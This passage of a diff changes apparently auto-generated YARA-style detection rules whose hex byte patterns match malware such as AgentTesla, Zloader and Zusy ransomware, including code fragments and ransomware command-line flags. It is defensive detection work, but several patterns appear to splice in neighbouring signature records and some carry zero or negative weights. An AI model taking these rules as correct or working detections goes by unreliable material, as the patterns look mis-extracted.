1)*14152+(#a_42_5 & 1)*25959+(#a_6a_6 & 1)*-28668+(#a_01_7 & 1)*17335) >=8 + ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*30583+(#a_23_2 & 1)*8+(#a_21_3 & 1)*12850+(#a_48_4 & 1)*14152+(#a_42_5 & 1)*25959+(#a_4f_6 & 1)*30575+(#a_80_7 & 1)*1) >=8 } -rule _InfrastructureShared_14270{ +rule _InfrastructureShared_15206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 39 30 37 32 32 31 21 4d 54 42 00 01 00 18 81 01 53 79 73 74 65 6d 2e 44 65 73 69 67 6e 2e 44 69 61 67 72 61 6d 2e 51 4d 01 00 11 01 67 65 74 5f 52 53 35 35 51 37 34 44 } //18467 $a_47_1 = {01 00 0d 81 01 52 53 35 35 51 37 34 44 37 48 37 47 48 01 00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 0a 01 47 5a } //18487 - $a_74_2 = {65 61 6d 01 00 1a 01 44 65 62 75 67 67 65 72 42 72 6f 77 73 61 62 6c 65 41 74 74 72 69 62 75 74 65 01 00 0c 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 00 00 78 d3 00 00 0b 00 0a 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 6c 6f } //28777 - $a_72_3 = {53 49 42 41 21 4d 54 42 00 0a 00 8f 03 8b 40 0c 8b 70 14 8b 1e 56 53 e8 90 01 04 83 c4 08 31 c9 a8 01 0f 85 90 01 04 8d bd 90 01 04 90 18 6a 00 6a 00 6a 00 6a 00 ff 73 20 e8 6a b9 00 00 83 c4 14 a8 01 75 90 01 01 0f b7 43 1c 01 c0 50 ff 73 20 57 e8 90 01 04 83 c4 0c 0f b7 43 1c 89 f9 66 c7 84 45 90 1b } //25697 - $a_c0_5 = {90 01 01 8d 85 90 01 04 50 57 e8 ea e1 01 00 83 c4 08 8d 85 90 1b 09 50 ff 75 08 e8 90 01 04 83 c4 08 85 c0 75 90 01 01 8b 4b 10 90 00 01 00 10 00 6c 6f 61 64 65 72 2d 62 6f 74 33 32 2e 64 6c 6c 00 00 78 d3 00 00 0c 00 0c 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 57 69 6e 67 6f 46 69 6c 65 43 6f 64 65 72 2e 45 21 4d 54 42 00 02 00 31 81 01 61 73 73 69 67 6e 6d 65 6e 74 73 } //1025 - $a_61_6 = {67 70 74 5f 62 6c 6f 67 2f 67 6f 6c 61 6e 67 5f 72 61 6e 73 6f 6d 77 61 72 65 5f 72 65 63 2e 67 6f 02 00 10 81 01 6d 61 69 6e 2e 45 6e 63 72 79 70 74 46 69 6c 65 02 00 07 81 01 2e 73 79 6d 74 61 62 02 00 0f 81 01 6d 61 69 6e 2e 45 6e 63 72 79 70 74 44 69 72 02 00 14 81 01 63 72 79 70 74 6f 2f 63 69 70 68 65 72 } //25391 - $a_77_7 = {54 52 02 00 1a 81 01 63 72 79 70 74 6f 2f 63 69 70 68 65 72 2e 66 61 73 74 58 4f 52 42 79 74 65 73 00 00 78 d3 00 00 10 00 10 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 4f 58 42 21 4d 54 42 00 0a 00 4f 02 13 0b 11 0b 16 17 9c 11 0b 28 90 01 04 11 0b 16 90 01 06 11 } //20014 + $a_74_2 = {65 61 6d 01 00 1a 01 44 65 62 75 67 67 65 72 42 72 6f 77 73 61 62 6c 65 41 74 74 72 69 62 75 74 65 01 00 0c 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 00 00 78 d3 00 00 09 00 09 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4f 70 65 6e 49 6e 73 74 61 6c } //28777 + $a_00_3 = {01 00 12 80 01 43 61 6e 63 65 6c 4f 66 66 65 72 54 68 72 65 61 64 73 01 00 09 80 01 50 61 67 65 4f 66 66 65 72 01 00 0b 80 01 73 68 6f 77 6e 4f 66 66 65 72 73 01 00 0e 80 01 70 72 65 70 61 72 65 64 4f 66 66 65 72 73 01 00 14 80 01 49 73 4f 66 66 65 72 54 68 72 65 61 64 52 75 6e 6e 69 6e 67 01 00 14 80 01 64 69 73 61 62 6c 65 44 79 6e 61 6d } //25964 + $a_66_4 = {65 72 73 01 00 0e 80 01 65 72 72 2e 63 6c 6f 69 6e 73 2e 63 6f 6d 01 00 0d 80 01 73 74 2e 63 6c 6f 69 6e 73 2e 63 6f 6d 01 00 0d 80 01 61 66 74 65 72 64 61 77 6e 2e 63 6f 6d 00 00 78 d3 00 00 0b 00 0a 00 02 00 21 23 41 4c 46 3a 54 72 6f } //25449 + $a_3a_5 = {69 6e 33 32 2f 5a 6c 6f 61 64 65 72 2e 53 49 42 41 21 4d 54 42 00 0a 00 8f 03 8b 40 0c 8b 70 14 8b 1e 56 53 e8 90 01 04 83 c4 08 31 c9 a8 01 0f 85 90 01 04 8d bd 90 01 04 90 18 6a 00 6a 00 6a 00 6a 00 ff 73 20 e8 6a b9 00 00 83 c4 14 a8 01 75 90 01 01 0f b7 43 1c 01 c0 50 ff 73 20 57 e8 90 01 04 83 c4 0c 0f b7 43 1c 89 f9 66 c7 } //24938 + $a_1b_6 = {00 00 e8 90 01 04 85 c0 74 90 01 01 8d 85 90 01 04 50 57 e8 ea e1 01 00 83 c4 08 8d 85 90 1b 09 50 ff 75 08 e8 90 01 04 83 c4 08 85 c0 75 90 01 01 8b 4b 10 90 00 01 00 10 00 6c 6f 61 64 65 72 2d 62 6f 74 33 32 2e 64 6c 6c 00 00 78 d3 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 5a 51 52 21 4d 54 42 00 0a 00 7d 03 11 02 11 01 6f 90 01 01 00 00 0a 38 90 01 01 00 00 00 11 } //17796 + $a_01_7 = {01 00 00 0a 13 03 38 90 01 01 00 00 00 00 02 73 90 01 01 00 00 0a 13 04 38 90 01 01 00 00 00 00 11 04 11 03 16 73 90 01 01 00 00 0a 13 05 38 90 01 01 00 00 00 00 73 90 01 01 00 00 0a 13 06 38 90 01 01 00 00 00 00 11 05 11 06 6f 90 01 01 00 00 0a 38 90 01 01 00 00 00 11 06 6f 90 01 01 00 00 0a 13 07 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 } //28418 condition: - ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*18487+(#a_74_2 & 1)*28777+(#a_72_3 & 1)*25697+(#a_c0_5 & 1)*1025+(#a_61_6 & 1)*25391+(#a_77_7 & 1)*20014) >=8 + ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*18487+(#a_74_2 & 1)*28777+(#a_00_3 & 1)*25964+(#a_66_4 & 1)*25449+(#a_3a_5 & 1)*24938+(#a_1b_6 & 1)*17796+(#a_01_7 & 1)*28418) >=8 } -rule _InfrastructureShared_14271{ +rule _InfrastructureShared_15207{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 4f 70 65 6e 49 6e 73 74 61 6c 6c 65 72 00 01 00 12 80 01 43 61 6e 63 65 6c 4f 66 66 65 72 54 68 72 65 61 64 73 01 00 09 80 01 50 61 67 65 4f 66 66 65 72 01 00 0b 80 01 73 68 6f 77 6e 4f 66 66 65 72 73 01 00 0e 80 01 70 72 65 70 61 72 65 } //20515 + $a_66_1 = {72 73 01 00 14 80 01 49 73 4f 66 66 65 72 54 68 72 65 61 64 52 75 6e 6e 69 6e 67 01 00 14 80 01 64 69 73 61 62 6c 65 44 79 6e 61 6d 69 63 4f 66 66 65 72 73 01 00 0e 80 01 65 72 72 2e 63 6c 6f 69 6e 73 2e 63 6f 6d 01 00 0d 80 01 73 74 2e 63 6c 6f 69 6e 73 2e 63 6f 6d 01 00 0d 80 01 61 66 74 65 72 64 61 77 } //20324 + $a_6f_2 = {00 00 78 d3 00 00 0b 00 0a 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 6c 6f 61 64 65 72 2e 53 49 42 41 21 4d 54 42 00 0a 00 8f 03 8b 40 0c 8b 70 14 8b 1e 56 53 e8 90 01 04 83 c4 08 31 c9 a8 01 0f 85 90 01 04 8d bd 90 01 04 90 18 6a 00 6a 00 6a 00 6a 00 ff 73 20 e8 6a b9 } //11886 + $a_c4_3 = {a8 01 75 90 01 01 0f b7 43 1c 01 c0 50 ff 73 20 57 e8 90 01 04 83 c4 0c 0f b7 43 1c 89 f9 66 c7 84 45 90 1b 02 00 00 e8 90 01 04 85 c0 74 90 01 01 8d 85 90 01 04 50 57 e8 ea e1 01 00 83 c4 08 8d 85 90 1b 09 50 ff 75 08 e8 90 01 04 83 c4 08 85 c0 75 90 01 01 8b 4b 10 90 00 01 00 10 00 6c 6f 61 64 65 72 2d 62 6f 74 33 32 2e 64 6c 6c 00 00 78 d3 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 } //0 + $a_6e_4 = {4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 5a 51 52 21 4d 54 42 00 0a 00 7d 03 11 02 11 01 6f 90 01 01 00 00 0a 38 90 01 01 00 00 00 11 02 6f 90 01 01 00 00 0a 13 03 38 90 01 01 00 00 00 00 02 73 90 01 01 00 00 0a 13 04 38 90 01 01 00 00 00 00 11 04 11 03 16 73 90 01 01 00 00 0a 13 05 38 90 } //27247 + $a_90_6 = {01 00 00 0a 13 06 38 90 01 01 00 00 00 00 11 05 11 06 6f 90 01 01 00 00 0a 38 90 01 01 00 00 00 11 06 6f 90 01 01 00 00 0a 13 07 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 d3 00 00 0c 00 0c 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f } //0 + $a_67_7 = {46 69 6c 65 43 6f 64 65 72 2e 45 21 4d 54 42 00 02 00 31 81 01 61 73 73 69 67 6e 6d 65 6e 74 73 2f 63 68 61 74 67 70 74 5f 62 6c 6f 67 2f 67 6f 6c 61 6e 67 5f 72 61 6e 73 6f 6d 77 61 72 65 5f 72 65 63 2e 67 6f 02 00 10 81 01 6d 61 69 6e 2e 45 6e 63 72 79 70 74 46 69 6c 65 02 00 07 81 01 2e 73 79 6d 74 61 62 02 00 0f 81 01 6d 61 } //26967 + $a_45_8 = {63 72 79 70 74 44 69 72 02 00 14 81 01 63 72 79 70 74 6f 2f 63 69 70 68 65 72 2e 4e 65 77 43 54 52 02 00 1a 81 01 63 72 79 70 74 6f 2f 63 } //28265 + condition: + ((#a_41_0 & 1)*20515+(#a_66_1 & 1)*20324+(#a_6f_2 & 1)*11886+(#a_c4_3 & 1)*0+(#a_6e_4 & 1)*27247+(#a_90_6 & 1)*0+(#a_67_7 & 1)*26967+(#a_45_8 & 1)*28265) >=9 + +} +rule _InfrastructureShared_15208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0a 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 6c 6f 61 64 65 72 2e 53 49 42 41 21 4d 54 42 00 0a 00 8f 03 8b 40 0c 8b 70 14 8b 1e 56 53 e8 90 01 04 83 c4 08 31 c9 a8 01 0f 85 90 01 04 8d bd 90 01 04 90 18 6a 00 6a 00 6a 00 6a 00 ff } //16675 - $a_6a_1 = {00 00 83 c4 14 a8 01 75 90 01 01 0f b7 43 1c 01 c0 50 ff 73 20 57 e8 90 01 04 83 c4 0c 0f b7 43 1c 89 f9 66 c7 84 45 90 1b 02 00 00 e8 90 01 04 85 c0 74 90 01 01 8d 85 90 01 04 50 57 e8 ea e1 01 00 83 c4 08 8d 85 90 1b 09 50 ff 75 08 e8 90 01 04 83 c4 08 85 c0 75 90 01 01 8b 4b 10 90 00 01 00 10 00 6c 6f 61 64 65 72 2d 62 6f 74 33 32 2e 64 6c 6c 00 00 78 d3 00 00 0c 00 0c 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 57 69 6e 67 6f 46 69 6c 65 43 6f 64 65 72 2e 45 21 4d 54 42 00 02 00 31 81 01 61 73 73 69 67 6e 6d 65 6e 74 73 2f 63 68 61 74 67 70 74 5f 62 6c 6f 67 2f 67 6f 6c 61 6e 67 5f 72 61 6e 73 6f 6d 77 61 72 65 5f 72 65 63 2e 67 6f 02 00 10 81 01 6d 61 69 6e 2e } //8307 + $a_6a_1 = {00 00 83 c4 14 a8 01 75 90 01 01 0f b7 43 1c 01 c0 50 ff 73 20 57 e8 90 01 04 83 c4 0c 0f b7 43 1c 89 f9 66 c7 84 45 90 1b 02 00 00 e8 90 01 04 85 c0 74 90 01 01 8d 85 90 01 04 50 57 e8 ea e1 01 00 83 c4 08 8d 85 90 1b 09 50 ff 75 08 e8 90 01 04 83 c4 08 85 c0 75 90 01 01 8b 4b 10 90 00 01 00 10 00 6c 6f 61 64 65 72 2d 62 6f 74 33 32 2e 64 6c 6c 00 00 78 d3 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 5a 51 52 21 4d 54 42 00 0a 00 7d 03 11 02 11 01 6f 90 01 01 00 00 0a 38 90 01 01 00 00 00 11 02 6f 90 01 01 00 00 0a 13 03 38 90 01 01 00 00 00 00 02 73 90 01 01 00 00 0a 13 04 38 90 01 01 00 00 00 00 11 04 11 03 16 73 90 01 01 00 } //8307 condition: ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*8307) >=10 } -rule _InfrastructureShared_14272{ +rule _InfrastructureShared_15209{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 5a 51 52 21 4d 54 42 00 0a 00 7d 03 11 02 11 01 6f 90 01 01 00 00 0a 38 90 01 01 00 00 00 11 02 6f 90 01 01 00 00 0a 13 03 38 90 01 01 00 00 00 } //21539 + $a_90_1 = {01 00 00 0a 13 04 38 90 01 01 00 00 00 00 11 04 11 03 16 73 90 01 01 00 00 0a 13 05 38 90 01 01 00 00 00 00 73 90 01 01 00 00 0a 13 06 38 90 01 01 00 00 00 00 11 05 11 06 6f 90 01 01 00 00 0a 38 90 01 01 00 00 00 11 06 6f 90 01 01 00 00 0a 13 07 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 } //512 + $a_79_2 = {74 6f 72 00 00 78 d3 00 00 0c 00 0c 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 57 69 6e 67 6f 46 69 6c 65 43 6f 64 65 72 2e 45 21 4d 54 42 00 02 00 31 81 01 61 73 73 69 67 6e 6d 65 6e 74 73 2f 63 68 61 74 67 70 74 5f 62 6c 6f 67 2f 67 6f 6c 61 6e 67 5f 72 61 6e 73 6f 6d 77 61 72 65 5f 72 65 63 2e 67 6f 02 00 10 81 01 } //25445 + condition: + ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*512+(#a_79_2 & 1)*25445) >=12 + +} +rule _InfrastructureShared_15210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -162955,7 +173860,7 @@ rule _InfrastructureShared_14272{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30573+(#a_68_2 & 1)*26979+(#a_90_3 & 1)*1281+(#a_6e_4 & 1)*29300+(#a_2e_5 & 1)*27763) >=12 } -rule _InfrastructureShared_14273{ +rule _InfrastructureShared_15211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -162971,7 +173876,7 @@ rule _InfrastructureShared_14273{ ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*-28632+(#a_0b_2 & 1)*400+(#a_04_3 & 1)*-28632+(#a_01_4 & 1)*28440+(#a_2e_5 & 1)*27763+(#a_6f_6 & 1)*18021) >=16 } -rule _InfrastructureShared_14274{ +rule _InfrastructureShared_15212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -162987,7 +173892,7 @@ rule _InfrastructureShared_14274{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*16705+(#a_65_2 & 1)*384+(#a_25_3 & 1)*400+(#a_90_4 & 1)*1025+(#a_53_5 & 1)*384+(#a_6c_6 & 1)*28274) >=17 } -rule _InfrastructureShared_14275{ +rule _InfrastructureShared_15213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -163000,7 +173905,7 @@ rule _InfrastructureShared_14275{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*5925+(#a_53_2 & 1)*14930+(#a_74_3 & 1)*25193) >=18 } -rule _InfrastructureShared_14276{ +rule _InfrastructureShared_15214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 06 00 21 " @@ -163015,7 +173920,7 @@ rule _InfrastructureShared_14276{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*26994+(#a_4c_2 & 1)*24943+(#a_04_3 & 1)*-28632+(#a_7b_4 & 1)*2579+(#a_90_5 & 1)*2577) >=18 } -rule _InfrastructureShared_14277{ +rule _InfrastructureShared_15215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -163023,14 +173928,14 @@ rule _InfrastructureShared_14277{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 46 21 4d 54 42 00 0a 00 53 02 25 16 02 28 90 01 04 9d 6f 90 01 04 0a 00 2b 06 fe 90 01 05 06 13 07 16 13 08 2b 30 11 07 11 08 9a 13 09 00 00 11 09 28 90 01 04 d2 13 0a } //18467 $a_01_1 = {04 11 0a 6f 90 01 04 00 00 de 05 26 00 00 de 00 00 11 08 17 58 13 08 11 08 11 07 8e 69 32 c8 90 00 02 00 0c 80 01 53 79 6e 63 68 72 6f 6e 69 7a 65 64 02 00 07 80 01 52 65 70 6c 61 63 65 02 00 0e 80 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 02 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 02 00 05 80 01 52 65 67 65 78 00 00 78 d3 00 00 14 00 14 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 } //31490 $a_65_2 = {6c 61 2e 41 4d 4b 32 30 39 35 21 4d 54 42 00 01 00 09 81 01 49 5f 5f 5f 5f 5f 5f 5f 49 01 00 0a 81 01 49 5f 5f 5f 5f 5f 5f 5f 5f 49 01 00 0b 81 01 49 5f 5f 5f 5f 5f 5f 5f 5f 5f 49 01 00 0c 81 01 49 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 49 01 00 0d 81 01 49 5f } //29806 - $a_5f_3 = {5f 5f 5f 5f 5f 49 01 00 0d 81 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0c 81 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 05 81 01 00 78 73 61 00 0a 00 07 81 01 20 00 9a 00 00 fe 04 00 00 78 d4 00 00 01 00 } //24415 - $a_00_4 = {21 } //1 ! - $a_49_5 = {3a 57 69 6e 33 32 2f 4e 53 49 53 49 6e 73 74 61 6c 6c 65 72 2e 50 52 46 21 4d 54 42 00 01 00 a5 03 3c 61 73 73 65 6d 62 6c 79 49 64 65 6e 74 69 74 79 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 30 22 20 70 72 6f 63 65 73 73 6f 72 41 72 63 68 69 } //20003 + $a_5f_3 = {5f 5f 5f 5f 5f 49 01 00 0d 81 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0c 81 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 05 81 01 00 78 73 61 00 0a 00 07 81 01 20 00 9a 00 00 fe 04 00 00 78 d3 00 00 41 00 } //24415 + $a_00_4 = {21 23 54 45 4c 3a 52 } //65 !#TEL:R + $a_6f_5 = {3a 57 69 6e 36 34 2f 5a 75 73 79 2e 41 48 42 21 4d 54 42 00 28 00 28 03 4c 89 7c 24 28 33 d2 33 c9 44 89 7c 24 20 ff 15 90 01 03 00 48 8b 0d 90 01 03 00 48 89 04 d9 48 ff c3 48 3b de 7c 90 00 14 00 28 01 45 0f b7 0c 02 8b d1 83 c1 bf 83 f9 19 44 8d 42 20 44 0f 47 c2 41 8d 49 bf 83 f9 19 41 8d 51 20 41 0f 47 d1 41 3b d0 75 01 00 10 01 2d 2d 73 } //28257 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*31490+(#a_65_2 & 1)*29806+(#a_5f_3 & 1)*24415+(#a_00_4 & 1)*1+(#a_49_5 & 1)*20003) >=20 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*31490+(#a_65_2 & 1)*29806+(#a_5f_3 & 1)*24415+(#a_00_4 & 1)*65+(#a_6f_5 & 1)*28257) >=20 } -rule _InfrastructureShared_14278{ +rule _InfrastructureShared_15216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0b 00 21 " @@ -163038,16 +173943,32 @@ rule _InfrastructureShared_14278{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4b 32 30 39 35 21 4d 54 42 00 01 00 09 81 01 49 5f 5f 5f 5f 5f 5f 5f 49 01 00 0a 81 01 49 5f 5f 5f 5f 5f 5f 5f 5f 49 01 00 0b 81 01 49 5f 5f 5f 5f 5f 5f 5f 5f 5f 49 01 00 } //18467 $a_49_1 = {5f } //-32500 _ $a_5f_2 = {5f 5f 5f 49 01 00 0d 81 01 49 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 49 01 00 0d 81 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0c 81 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 05 81 01 00 78 73 61 00 0a 00 07 81 } //24415 - $a_00_4 = {00 78 d4 00 } //-512 - $a_53_7 = {57 69 6e 33 32 2f 4e 53 49 53 49 6e 73 74 61 6c 6c 65 72 2e 50 52 46 21 4d 54 42 00 01 00 a5 03 3c 61 73 73 65 6d 62 6c 79 49 64 65 6e 74 69 74 79 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 30 22 20 70 72 6f 63 65 } //21326 - $a_72_8 = {72 63 68 69 74 65 63 74 75 72 65 3d 22 2a 22 20 6e 61 6d 65 3d 22 4e 75 6c 6c 73 6f 66 74 2e 4e 53 49 53 2e 65 78 65 68 65 61 64 22 20 74 79 70 65 3d 22 77 69 6e 33 32 22 2f 3e 3c 64 65 73 63 72 69 70 74 69 6f 6e 3e 4e 75 6c 6c 73 6f 66 74 20 49 6e 73 74 61 6c 6c 20 53 79 73 74 65 6d 20 76 33 2e 30 90 01 01 3c 2f 64 65 73 63 72 69 } //29555 - $a_6f_9 = {3e 90 00 00 00 78 d4 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 65 72 6f 72 74 61 74 2e 41 31 00 01 00 32 01 39 34 43 34 30 41 32 42 44 45 32 44 31 36 30 43 33 34 41 36 34 43 45 38 36 36 39 44 42 44 37 32 38 44 41 31 34 34 39 42 35 41 46 34 } //29808 - $a_36_10 = {45 01 00 32 01 37 31 45 31 36 35 38 43 42 39 43 37 42 43 41 32 35 42 38 46 41 34 34 37 38 34 42 46 36 32 39 36 35 36 46 38 31 33 34 41 45 34 37 39 45 42 31 42 31 33 01 00 } //17974 + $a_00_4 = {00 78 d3 00 } //-512 + $a_23_6 = {45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 41 48 42 21 4d 54 42 00 28 00 28 03 } //7 + $a_24_7 = {33 d2 33 c9 44 89 7c 24 20 ff 15 90 01 03 00 48 8b 0d 90 01 03 00 48 89 04 d9 48 ff c3 48 3b de 7c 90 00 14 00 28 01 45 0f b7 0c 02 8b d1 83 c1 bf 83 f9 19 44 8d 42 20 44 0f 47 c2 41 8d 49 bf 83 f9 19 41 8d 51 20 41 0f 47 d1 41 3b d0 75 01 00 10 01 2d 2d 73 74 6f 70 2d 70 72 6f 63 65 73 73 65 73 01 00 0b 01 2d 2d 73 61 66 65 2d 6d 6f 64 65 01 00 06 01 2d 2d 6b 69 6c 6c } //-30388 + $a_01_8 = {2d 2d 65 6e 63 72 79 70 74 2d 6e 65 74 77 6f 72 6b } //1 --encrypt-network + $a_01_9 = {2d 2d 6c 6f 61 64 2d 64 72 69 76 65 73 } //1 --load-drives + $a_d4_10 = {00 01 00 01 00 01 00 21 23 4e 53 49 53 3a 57 69 6e 33 32 2f 4e 53 49 53 49 6e 73 74 61 6c 6c 65 72 2e 50 52 46 21 4d 54 42 00 01 00 a5 03 3c 61 73 73 65 6d 62 6c 79 49 64 65 6e 74 69 74 79 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 30 22 20 70 72 6f 63 65 73 73 6f 72 41 72 63 68 69 74 65 63 74 75 72 65 3d 22 2a 22 20 6e 61 6d 65 3d 22 4e 75 6c 6c 73 6f } //0 condition: - ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*-32500+(#a_5f_2 & 1)*24415+(#a_00_4 & 1)*-512+(#a_53_7 & 1)*21326+(#a_72_8 & 1)*29555+(#a_6f_9 & 1)*29808+(#a_36_10 & 1)*17974) >=20 + ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*-32500+(#a_5f_2 & 1)*24415+(#a_00_4 & 1)*-512+(#a_23_6 & 1)*7+(#a_24_7 & 1)*-30388+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_d4_10 & 1)*0) >=20 } -rule _InfrastructureShared_14279{ +rule _InfrastructureShared_15217{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,41 00 41 00 07 00 21 " + + strings : + $a_4c_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 41 48 42 21 4d 54 42 00 28 00 28 03 4c 89 7c 24 28 33 d2 33 c9 44 89 7c 24 20 ff 15 90 01 03 00 48 8b 0d 90 01 03 00 48 89 04 d9 48 ff c3 48 3b de 7c 90 } //21539 + $a_0c_2 = {02 8b d1 83 c1 bf 83 f9 19 44 8d 42 20 44 0f 47 c2 41 8d 49 bf 83 f9 19 41 8d 51 20 41 0f 47 d1 41 3b d0 75 01 00 10 01 2d 2d 73 74 6f 70 2d 70 72 6f 63 65 73 73 65 73 01 00 0b 01 2d 2d 73 61 66 65 2d 6d 6f 64 65 01 00 06 01 2d 2d 6b 69 6c 6c 01 00 11 01 2d 2d 65 6e 63 72 79 70 74 2d 6e 65 74 77 6f 72 6b 01 00 0d 01 2d 2d 6c 6f 61 64 2d 64 72 69 76 65 73 00 00 78 d4 00 00 01 00 01 00 01 00 21 23 4e 53 49 53 3a 57 69 6e 33 32 2f 4e 53 49 53 49 6e 73 74 61 6c 6c 65 72 2e 50 52 46 21 4d 54 42 00 01 00 a5 03 3c 61 73 73 65 6d 62 6c 79 49 64 65 6e } //3909 + $a_79_3 = {76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 30 22 20 70 72 6f 63 65 73 73 6f 72 41 72 63 68 69 74 65 63 74 75 72 65 3d 22 2a 22 20 6e 61 6d 65 3d 22 4e 75 6c 6c 73 6f 66 74 2e 4e 53 49 53 2e 65 78 65 68 65 61 64 22 20 74 79 70 65 3d 22 77 69 6e 33 32 22 2f 3e 3c 64 65 73 63 72 69 70 74 69 6f 6e 3e 4e 75 6c 6c 73 6f 66 74 20 49 6e 73 74 61 6c 6c } //26996 version="1.0.0.0" processorArchitecture="*" name="Nullsoft.NSIS.exehead" type="win32"/>Nullsoft Install + $a_73_4 = {65 6d 20 76 33 2e 30 90 01 01 3c 2f 64 65 73 63 72 69 70 74 69 6f 6e 3e 90 00 00 